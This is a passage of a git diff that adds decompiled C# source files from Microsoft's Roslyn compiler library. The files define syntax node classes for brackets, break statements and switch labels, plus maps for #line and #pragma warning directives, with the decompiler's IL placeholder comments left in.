IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + //IL_001e: Unknown result type (might be due to invalid IL or missing references) + if (openBracketToken != OpenBracketToken || parameters != Parameters || closeBracketToken != CloseBracketToken) + { + BracketedParameterListSyntax bracketedParameterListSyntax = SyntaxFactory.BracketedParameterList(openBracketToken, parameters, closeBracketToken); + SyntaxAnnotation[] annotations = ((SyntaxNode)this).GetAnnotations(); + if (annotations == null || annotations.Length == 0) + { + return bracketedParameterListSyntax; + } + return bracketedParameterListSyntax.WithAnnotations(annotations); + } + return this; + } + + public BracketedParameterListSyntax WithOpenBracketToken(SyntaxToken openBracketToken) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + return Update(openBracketToken, Parameters, CloseBracketToken); + } + + internal override BaseParameterListSyntax WithParametersCore(SeparatedSyntaxList parameters) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return WithParameters(parameters); + } + + public new BracketedParameterListSyntax WithParameters(SeparatedSyntaxList parameters) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + return Update(OpenBracketToken, parameters, CloseBracketToken); + } + + public BracketedParameterListSyntax WithCloseBracketToken(SyntaxToken closeBracketToken) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + return Update(OpenBracketToken, Parameters, closeBracketToken); + } + + internal override BaseParameterListSyntax AddParametersCore(params ParameterSyntax[] items) + { + return AddParameters(items); + } + + public new BracketedParameterListSyntax AddParameters(params ParameterSyntax[] items) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + return WithParameters(Parameters.AddRange((IEnumerable)items)); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/BranchingDirectiveTriviaSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/BranchingDirectiveTriviaSyntax.cs new file mode 100644 index 0000000..e19e09e --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/BranchingDirectiveTriviaSyntax.cs @@ -0,0 +1,25 @@ +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +public abstract class BranchingDirectiveTriviaSyntax : DirectiveTriviaSyntax +{ + public abstract bool BranchTaken { get; } + + internal BranchingDirectiveTriviaSyntax(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode green, SyntaxNode? parent, int position) + : base(green, parent, position) + { + } + + public new BranchingDirectiveTriviaSyntax WithHashToken(SyntaxToken hashToken) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return (BranchingDirectiveTriviaSyntax)WithHashTokenCore(hashToken); + } + + public new BranchingDirectiveTriviaSyntax WithEndOfDirectiveToken(SyntaxToken endOfDirectiveToken) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return (BranchingDirectiveTriviaSyntax)WithEndOfDirectiveTokenCore(endOfDirectiveToken); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/BreakStatementSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/BreakStatementSyntax.cs new file mode 100644 index 0000000..090ab85 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/BreakStatementSyntax.cs @@ -0,0 +1,123 @@ +using System.Collections.Generic; +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +public sealed class BreakStatementSyntax : StatementSyntax +{ + private SyntaxNode? attributeLists; + + public override SyntaxList AttributeLists => new SyntaxList(((SyntaxNode)this).GetRed(ref attributeLists, 0)); + + public SyntaxToken BreakKeyword => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.BreakStatementSyntax)(object)((SyntaxNode)this).Green).breakKeyword, ((SyntaxNode)this).GetChildPosition(1), ((SyntaxNode)this).GetChildIndex(1)); + + public SyntaxToken SemicolonToken => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.BreakStatementSyntax)(object)((SyntaxNode)this).Green).semicolonToken, ((SyntaxNode)this).GetChildPosition(2), ((SyntaxNode)this).GetChildIndex(2)); + + public BreakStatementSyntax Update(SyntaxToken breakKeyword, SyntaxToken semicolonToken) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, breakKeyword, semicolonToken); + } + + internal BreakStatementSyntax(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode green, SyntaxNode? parent, int position) + : base(green, parent, position) + { + } + + internal override SyntaxNode? GetNodeSlot(int index) + { + if (index != 0) + { + return null; + } + return ((SyntaxNode)this).GetRedAtZero(ref attributeLists); + } + + internal override SyntaxNode? GetCachedSlot(int index) + { + if (index != 0) + { + return null; + } + return attributeLists; + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitBreakStatement(this); + } + + public override TResult? Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitBreakStatement(this); + } + + public BreakStatementSyntax Update(SyntaxList attributeLists, SyntaxToken breakKeyword, SyntaxToken semicolonToken) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + //IL_002b: Unknown result type (might be due to invalid IL or missing references) + //IL_002c: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + //IL_001e: Unknown result type (might be due to invalid IL or missing references) + if (attributeLists != AttributeLists || breakKeyword != BreakKeyword || semicolonToken != SemicolonToken) + { + BreakStatementSyntax breakStatementSyntax = SyntaxFactory.BreakStatement(attributeLists, breakKeyword, semicolonToken); + SyntaxAnnotation[] annotations = ((SyntaxNode)this).GetAnnotations(); + if (annotations == null || annotations.Length == 0) + { + return breakStatementSyntax; + } + return breakStatementSyntax.WithAnnotations(annotations); + } + return this; + } + + internal override StatementSyntax WithAttributeListsCore(SyntaxList attributeLists) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return WithAttributeLists(attributeLists); + } + + public new BreakStatementSyntax WithAttributeLists(SyntaxList attributeLists) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + return Update(attributeLists, BreakKeyword, SemicolonToken); + } + + public BreakStatementSyntax WithBreakKeyword(SyntaxToken breakKeyword) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, breakKeyword, SemicolonToken); + } + + public BreakStatementSyntax WithSemicolonToken(SyntaxToken semicolonToken) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, BreakKeyword, semicolonToken); + } + + internal override StatementSyntax AddAttributeListsCore(params AttributeListSyntax[] items) + { + return AddAttributeLists(items); + } + + public new BreakStatementSyntax AddAttributeLists(params AttributeListSyntax[] items) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + return WithAttributeLists(AttributeLists.AddRange((IEnumerable)items)); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/CSharpLineDirectiveMap.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/CSharpLineDirectiveMap.cs new file mode 100644 index 0000000..c33ee0f --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/CSharpLineDirectiveMap.cs @@ -0,0 +1,250 @@ +using Microsoft.CodeAnalysis.Text; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +internal class CSharpLineDirectiveMap : LineDirectiveMap +{ + public CSharpLineDirectiveMap(SyntaxTree syntaxTree) + : base(syntaxTree) + { + } + + protected override bool ShouldAddDirective(DirectiveTriviaSyntax directive) + { + bool flag = directive.IsActive; + if (flag) + { + SyntaxKind syntaxKind = directive.Kind(); + bool flag2 = ((syntaxKind == SyntaxKind.LineDirectiveTrivia || syntaxKind == SyntaxKind.LineSpanDirectiveTrivia) ? true : false); + flag = flag2; + } + return flag; + } + + protected override LineMappingEntry GetEntry(DirectiveTriviaSyntax directiveNode, SourceText sourceText, LineMappingEntry previous) + { + //IL_002f: Unknown result type (might be due to invalid IL or missing references) + //IL_0030: Unknown result type (might be due to invalid IL or missing references) + //IL_0036: Invalid comparison between Unknown and I4 + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + //IL_0038: Unknown result type (might be due to invalid IL or missing references) + //IL_0040: Unknown result type (might be due to invalid IL or missing references) + //IL_004c: Unknown result type (might be due to invalid IL or missing references) + //IL_004d: Unknown result type (might be due to invalid IL or missing references) + //IL_0053: Invalid comparison between Unknown and I4 + //IL_0055: Unknown result type (might be due to invalid IL or missing references) + //IL_0061: Unknown result type (might be due to invalid IL or missing references) + //IL_0064: Unknown result type (might be due to invalid IL or missing references) + //IL_0069: Unknown result type (might be due to invalid IL or missing references) + //IL_0103: Unknown result type (might be due to invalid IL or missing references) + //IL_0105: Unknown result type (might be due to invalid IL or missing references) + //IL_0077: Unknown result type (might be due to invalid IL or missing references) + //IL_00a9: Unknown result type (might be due to invalid IL or missing references) + //IL_009e: Unknown result type (might be due to invalid IL or missing references) + //IL_00d4: Unknown result type (might be due to invalid IL or missing references) + //IL_00fc: Unknown result type (might be due to invalid IL or missing references) + //IL_00e6: Unknown result type (might be due to invalid IL or missing references) + //IL_00eb: Unknown result type (might be due to invalid IL or missing references) + int num = sourceText.Lines.IndexOf(((SyntaxNode)directiveNode).SpanStart) + 1; + if (directiveNode is LineSpanDirectiveTriviaSyntax spanDirective) + { + return GetLineSpanDirectiveEntry(spanDirective, num); + } + LineDirectiveTriviaSyntax lineDirectiveTriviaSyntax = (LineDirectiveTriviaSyntax)directiveNode; + int num2 = num; + int num3 = (((int)previous.State == 3) ? num2 : (previous.MappedLine + num - previous.UnmappedLine)); + string text = (((int)previous.State == 3) ? null : previous.MappedPathOpt); + PositionState val = (PositionState)1; + SyntaxToken line = lineDirectiveTriviaSyntax.Line; + if (!((SyntaxToken)(ref line)).IsMissing) + { + switch (line.Kind()) + { + case SyntaxKind.HiddenKeyword: + val = (PositionState)6; + break; + case SyntaxKind.DefaultKeyword: + num3 = num2; + text = null; + val = (PositionState)1; + break; + case SyntaxKind.NumericLiteralToken: + if (!((SyntaxToken)(ref line)).ContainsDiagnostics) + { + object value = ((SyntaxToken)(ref line)).Value; + if (value is int) + { + num3 = (int)value - 1; + } + if (lineDirectiveTriviaSyntax.File.Kind() == SyntaxKind.StringLiteralToken) + { + SyntaxToken file = lineDirectiveTriviaSyntax.File; + text = (string)((SyntaxToken)(ref file)).Value; + } + val = (PositionState)2; + } + break; + } + } + return new LineMappingEntry(num2, num3, text, val); + } + + private static LineMappingEntry GetLineSpanDirectiveEntry(LineSpanDirectiveTriviaSyntax spanDirective, int unmappedLine) + { + //IL_0062: Unknown result type (might be due to invalid IL or missing references) + //IL_0029: Unknown result type (might be due to invalid IL or missing references) + //IL_002e: Unknown result type (might be due to invalid IL or missing references) + //IL_003c: Unknown result type (might be due to invalid IL or missing references) + //IL_0041: Unknown result type (might be due to invalid IL or missing references) + //IL_004f: Unknown result type (might be due to invalid IL or missing references) + //IL_0050: Unknown result type (might be due to invalid IL or missing references) + //IL_0051: Unknown result type (might be due to invalid IL or missing references) + //IL_0058: Unknown result type (might be due to invalid IL or missing references) + if (!((SyntaxNode)spanDirective).HasErrors && tryGetPosition(spanDirective.Start, isEnd: false, out var position) && tryGetPosition(spanDirective.End, isEnd: true, out var position2) && tryGetOptionalCharacterOffset(spanDirective.CharacterOffset, out var value) && tryGetStringLiteralValue(spanDirective.File, out var value2)) + { + return new LineMappingEntry(unmappedLine, new LinePositionSpan(position, position2), value, value2); + } + return new LineMappingEntry(unmappedLine, unmappedLine, (string)null, (PositionState)1); + static bool tryGetOneBasedNumericLiteralValue(in SyntaxToken token, out int reference) + { + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + if (!((SyntaxToken)(ref token)).IsMissing && token.Kind() == SyntaxKind.NumericLiteralToken && ((SyntaxToken)(ref token)).Value is int num) + { + reference = num - 1; + return true; + } + reference = 0; + return false; + } + static bool tryGetOptionalCharacterOffset(in SyntaxToken token, out int? reference) + { + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + if (!((SyntaxToken)(ref token)).IsMissing) + { + if (token.Kind() == SyntaxKind.None) + { + reference = null; + return true; + } + int value3 = 0; + if (tryGetOneBasedNumericLiteralValue(in token, out value3)) + { + reference = value3; + return true; + } + } + reference = null; + return false; + } + static bool tryGetPosition(LineDirectivePositionSyntax syntax, bool isEnd, out LinePosition reference) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_003c: Unknown result type (might be due to invalid IL or missing references) + //IL_0013: Unknown result type (might be due to invalid IL or missing references) + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + //IL_002f: Unknown result type (might be due to invalid IL or missing references) + //IL_0034: Unknown result type (might be due to invalid IL or missing references) + if (tryGetOneBasedNumericLiteralValue(syntax.Line, out var value3) && tryGetOneBasedNumericLiteralValue(syntax.Character, out var value4)) + { + reference = new LinePosition(value3, isEnd ? (value4 + 1) : value4); + return true; + } + reference = default(LinePosition); + return false; + } + static bool tryGetStringLiteralValue(in SyntaxToken token, out string? reference) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + if (token.Kind() == SyntaxKind.StringLiteralToken) + { + reference = (string)((SyntaxToken)(ref token)).Value; + return true; + } + reference = null; + return false; + } + } + + protected override LineMappingEntry InitializeFirstEntry() + { + //IL_0004: Unknown result type (might be due to invalid IL or missing references) + return new LineMappingEntry(0, 0, (string)null, (PositionState)1); + } + + public override LineVisibility GetLineVisibility(SourceText sourceText, int position) + { + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + //IL_0032: Unknown result type (might be due to invalid IL or missing references) + //IL_0037: Unknown result type (might be due to invalid IL or missing references) + //IL_0038: Unknown result type (might be due to invalid IL or missing references) + //IL_0039: Unknown result type (might be due to invalid IL or missing references) + //IL_003e: Unknown result type (might be due to invalid IL or missing references) + //IL_003f: Unknown result type (might be due to invalid IL or missing references) + //IL_0041: Unknown result type (might be due to invalid IL or missing references) + //IL_005f: Expected I4, but got Unknown + //IL_006c: Unknown result type (might be due to invalid IL or missing references) + //IL_006d: Unknown result type (might be due to invalid IL or missing references) + LinePosition linePosition = sourceText.Lines.GetLinePosition(position); + if (base.Entries.Length == 1) + { + return (LineVisibility)2; + } + int num = base.FindEntryIndex(((LinePosition)(ref linePosition)).Line); + LineMappingEntry val = base.Entries[num]; + PositionState state = val.State; + switch (state - 1) + { + case 0: + if (num != 0) + { + return (LineVisibility)2; + } + return (LineVisibility)0; + case 1: + case 2: + return (LineVisibility)2; + case 5: + return (LineVisibility)1; + default: + throw ExceptionUtilities.UnexpectedValue((object)val.State); + } + } + + protected override LineVisibility GetUnknownStateVisibility(int index) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Syntax/CSharpLineDirectiveMap.cs", 220); + } + + internal override FileLinePositionSpan TranslateSpanAndVisibility(SourceText sourceText, string treeFilePath, TextSpan span, out bool isHiddenPosition) + { + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0013: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + //IL_0044: Unknown result type (might be due to invalid IL or missing references) + //IL_0049: Unknown result type (might be due to invalid IL or missing references) + //IL_004c: Unknown result type (might be due to invalid IL or missing references) + //IL_004d: Unknown result type (might be due to invalid IL or missing references) + //IL_0053: Invalid comparison between Unknown and I4 + //IL_005a: Unknown result type (might be due to invalid IL or missing references) + //IL_005b: Unknown result type (might be due to invalid IL or missing references) + //IL_005c: Unknown result type (might be due to invalid IL or missing references) + //IL_0034: Unknown result type (might be due to invalid IL or missing references) + //IL_0035: Unknown result type (might be due to invalid IL or missing references) + //IL_0036: Unknown result type (might be due to invalid IL or missing references) + TextLineCollection lines = sourceText.Lines; + LinePosition linePosition = lines.GetLinePosition(((TextSpan)(ref span)).Start); + LinePosition linePosition2 = lines.GetLinePosition(((TextSpan)(ref span)).End); + if (base.Entries.Length == 1) + { + isHiddenPosition = false; + return new FileLinePositionSpan(treeFilePath, linePosition, linePosition2); + } + LineMappingEntry val = base.FindEntry(((LinePosition)(ref linePosition)).Line); + isHiddenPosition = (int)val.State == 6; + return base.TranslateSpan(ref val, treeFilePath, linePosition, linePosition2); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/CSharpPragmaWarningStateMap.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/CSharpPragmaWarningStateMap.cs new file mode 100644 index 0000000..307136a --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/CSharpPragmaWarningStateMap.cs @@ -0,0 +1,126 @@ +using System.Collections.Immutable; +using System.Threading; +using Microsoft.CodeAnalysis.PooledObjects; +using Microsoft.CodeAnalysis.Syntax; +using Microsoft.CodeAnalysis.Text; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +internal class CSharpPragmaWarningStateMap : AbstractWarningStateMap +{ + public CSharpPragmaWarningStateMap(SyntaxTree syntaxTree) + : base(syntaxTree) + { + } + + protected override WarningStateMapEntry[] CreateWarningStateMapEntries(SyntaxTree syntaxTree) + { + ArrayBuilder instance = ArrayBuilder.GetInstance(); + GetAllPragmaWarningDirectives(syntaxTree, instance); + WarningStateMapEntry[] result = CreatePragmaWarningStateEntries(instance); + instance.Free(); + return result; + } + + private static void GetAllPragmaWarningDirectives(SyntaxTree syntaxTree, ArrayBuilder directiveList) + { + //IL_0041: Unknown result type (might be due to invalid IL or missing references) + //IL_0046: Unknown result type (might be due to invalid IL or missing references) + //IL_0052: Unknown result type (might be due to invalid IL or missing references) + //IL_0057: Unknown result type (might be due to invalid IL or missing references) + foreach (DirectiveTriviaSyntax directive in syntaxTree.GetRoot(default(CancellationToken)).GetDirectives()) + { + if (!directive.IsActive || directive.Kind() != SyntaxKind.PragmaWarningDirectiveTrivia) + { + continue; + } + PragmaWarningDirectiveTriviaSyntax pragmaWarningDirectiveTriviaSyntax = (PragmaWarningDirectiveTriviaSyntax)directive; + SyntaxToken val = pragmaWarningDirectiveTriviaSyntax.DisableOrRestoreKeyword; + if (!((SyntaxToken)(ref val)).IsMissing) + { + val = pragmaWarningDirectiveTriviaSyntax.WarningKeyword; + if (!((SyntaxToken)(ref val)).IsMissing) + { + directiveList.Add((DirectiveTriviaSyntax)pragmaWarningDirectiveTriviaSyntax); + } + } + } + } + + private static WarningStateMapEntry[] CreatePragmaWarningStateEntries(ArrayBuilder directiveList) + { + //IL_0024: Unknown result type (might be due to invalid IL or missing references) + //IL_0026: Unknown result type (might be due to invalid IL or missing references) + //IL_0044: Unknown result type (might be due to invalid IL or missing references) + //IL_008f: Unknown result type (might be due to invalid IL or missing references) + //IL_0094: Unknown result type (might be due to invalid IL or missing references) + //IL_015b: Unknown result type (might be due to invalid IL or missing references) + //IL_0160: Unknown result type (might be due to invalid IL or missing references) + //IL_0177: Unknown result type (might be due to invalid IL or missing references) + //IL_017c: Unknown result type (might be due to invalid IL or missing references) + //IL_0192: Unknown result type (might be due to invalid IL or missing references) + //IL_0194: Unknown result type (might be due to invalid IL or missing references) + //IL_00b7: Unknown result type (might be due to invalid IL or missing references) + //IL_00bc: Unknown result type (might be due to invalid IL or missing references) + //IL_00f7: Unknown result type (might be due to invalid IL or missing references) + //IL_00fc: Unknown result type (might be due to invalid IL or missing references) + //IL_012d: Unknown result type (might be due to invalid IL or missing references) + //IL_0132: Unknown result type (might be due to invalid IL or missing references) + WarningStateMapEntry[] array = new WarningStateMapEntry[directiveList.Count + 1]; + int num = 0; + ImmutableDictionary immutableDictionary = ImmutableDictionary.Create(); + PragmaWarningState pragmaWarningState = PragmaWarningState.Default; + WarningStateMapEntry val = default(WarningStateMapEntry); + val._002Ector(0, PragmaWarningState.Default, immutableDictionary); + array[num] = val; + while (num < directiveList.Count) + { + DirectiveTriviaSyntax directiveTriviaSyntax = directiveList[num]; + PragmaWarningDirectiveTriviaSyntax pragmaWarningDirectiveTriviaSyntax = (PragmaWarningDirectiveTriviaSyntax)directiveTriviaSyntax; + SyntaxKind syntaxKind = pragmaWarningDirectiveTriviaSyntax.DisableOrRestoreKeyword.Kind(); + PragmaWarningState pragmaWarningState2 = syntaxKind switch + { + SyntaxKind.DisableKeyword => PragmaWarningState.Disabled, + SyntaxKind.RestoreKeyword => PragmaWarningState.Default, + SyntaxKind.EnableKeyword => PragmaWarningState.Enabled, + _ => throw ExceptionUtilities.UnexpectedValue((object)syntaxKind), + }; + if (pragmaWarningDirectiveTriviaSyntax.ErrorCodes.Count == 0) + { + pragmaWarningState = pragmaWarningState2; + immutableDictionary = ImmutableDictionary.Create(); + } + else + { + for (int i = 0; i < pragmaWarningDirectiveTriviaSyntax.ErrorCodes.Count; i++) + { + ExpressionSyntax expressionSyntax = pragmaWarningDirectiveTriviaSyntax.ErrorCodes[i]; + if (!((SyntaxNode)expressionSyntax).IsMissing && !((SyntaxNode)expressionSyntax).ContainsDiagnostics) + { + string text = string.Empty; + if (expressionSyntax.Kind() == SyntaxKind.NumericLiteralExpression) + { + SyntaxToken token = ((LiteralExpressionSyntax)expressionSyntax).Token; + text = ((CommonMessageProvider)MessageProvider.Instance).GetIdForErrorCode((int)((SyntaxToken)(ref token)).Value); + } + else if (expressionSyntax.Kind() == SyntaxKind.IdentifierName) + { + SyntaxToken identifier = ((IdentifierNameSyntax)expressionSyntax).Identifier; + text = ((SyntaxToken)(ref identifier)).ValueText; + } + if (!string.IsNullOrWhiteSpace(text)) + { + immutableDictionary = immutableDictionary.SetItem(text, pragmaWarningState2); + } + } + } + } + TextSpan sourceSpan = ((SyntaxNode)directiveTriviaSyntax).Location.SourceSpan; + val._002Ector(((TextSpan)(ref sourceSpan)).End, pragmaWarningState, immutableDictionary); + num++; + array[num] = val; + } + return array; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/CasePatternSwitchLabelSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/CasePatternSwitchLabelSyntax.cs new file mode 100644 index 0000000..0240202 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/CasePatternSwitchLabelSyntax.cs @@ -0,0 +1,114 @@ +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +public sealed class CasePatternSwitchLabelSyntax : SwitchLabelSyntax +{ + private PatternSyntax? pattern; + + private WhenClauseSyntax? whenClause; + + public override SyntaxToken Keyword => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CasePatternSwitchLabelSyntax)(object)((SyntaxNode)this).Green).keyword, ((SyntaxNode)this).Position, 0); + + public PatternSyntax Pattern => ((SyntaxNode)this).GetRed(ref pattern, 1); + + public WhenClauseSyntax? WhenClause => ((SyntaxNode)this).GetRed(ref whenClause, 2); + + public override SyntaxToken ColonToken => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CasePatternSwitchLabelSyntax)(object)((SyntaxNode)this).Green).colonToken, ((SyntaxNode)this).GetChildPosition(3), ((SyntaxNode)this).GetChildIndex(3)); + + internal CasePatternSwitchLabelSyntax(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode green, SyntaxNode? parent, int position) + : base(green, parent, position) + { + } + + internal override SyntaxNode? GetNodeSlot(int index) + { + return (SyntaxNode?)(index switch + { + 1 => ((SyntaxNode)this).GetRed(ref pattern, 1), + 2 => ((SyntaxNode)this).GetRed(ref whenClause, 2), + _ => null, + }); + } + + internal override SyntaxNode? GetCachedSlot(int index) + { + return (SyntaxNode?)(index switch + { + 1 => pattern, + 2 => whenClause, + _ => null, + }); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitCasePatternSwitchLabel(this); + } + + public override TResult? Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitCasePatternSwitchLabel(this); + } + + public CasePatternSwitchLabelSyntax Update(SyntaxToken keyword, PatternSyntax pattern, WhenClauseSyntax? whenClause, SyntaxToken colonToken) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_002f: Unknown result type (might be due to invalid IL or missing references) + //IL_0032: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + //IL_0023: Unknown result type (might be due to invalid IL or missing references) + if (keyword != Keyword || pattern != Pattern || whenClause != WhenClause || colonToken != ColonToken) + { + CasePatternSwitchLabelSyntax casePatternSwitchLabelSyntax = SyntaxFactory.CasePatternSwitchLabel(keyword, pattern, whenClause, colonToken); + SyntaxAnnotation[] annotations = ((SyntaxNode)this).GetAnnotations(); + if (annotations == null || annotations.Length == 0) + { + return casePatternSwitchLabelSyntax; + } + return casePatternSwitchLabelSyntax.WithAnnotations(annotations); + } + return this; + } + + internal override SwitchLabelSyntax WithKeywordCore(SyntaxToken keyword) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return WithKeyword(keyword); + } + + public new CasePatternSwitchLabelSyntax WithKeyword(SyntaxToken keyword) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + return Update(keyword, Pattern, WhenClause, ColonToken); + } + + public CasePatternSwitchLabelSyntax WithPattern(PatternSyntax pattern) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + return Update(Keyword, pattern, WhenClause, ColonToken); + } + + public CasePatternSwitchLabelSyntax WithWhenClause(WhenClauseSyntax? whenClause) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + return Update(Keyword, Pattern, whenClause, ColonToken); + } + + internal override SwitchLabelSyntax WithColonTokenCore(SyntaxToken colonToken) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return WithColonToken(colonToken); + } + + public new CasePatternSwitchLabelSyntax WithColonToken(SyntaxToken colonToken) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0013: Unknown result type (might be due to invalid IL or missing references) + return Update(Keyword, Pattern, WhenClause, colonToken); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/CaseSwitchLabelSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/CaseSwitchLabelSyntax.cs new file mode 100644 index 0000000..5f92fef --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/CaseSwitchLabelSyntax.cs @@ -0,0 +1,101 @@ +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +public sealed class CaseSwitchLabelSyntax : SwitchLabelSyntax +{ + private ExpressionSyntax? value; + + public override SyntaxToken Keyword => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CaseSwitchLabelSyntax)(object)((SyntaxNode)this).Green).keyword, ((SyntaxNode)this).Position, 0); + + public 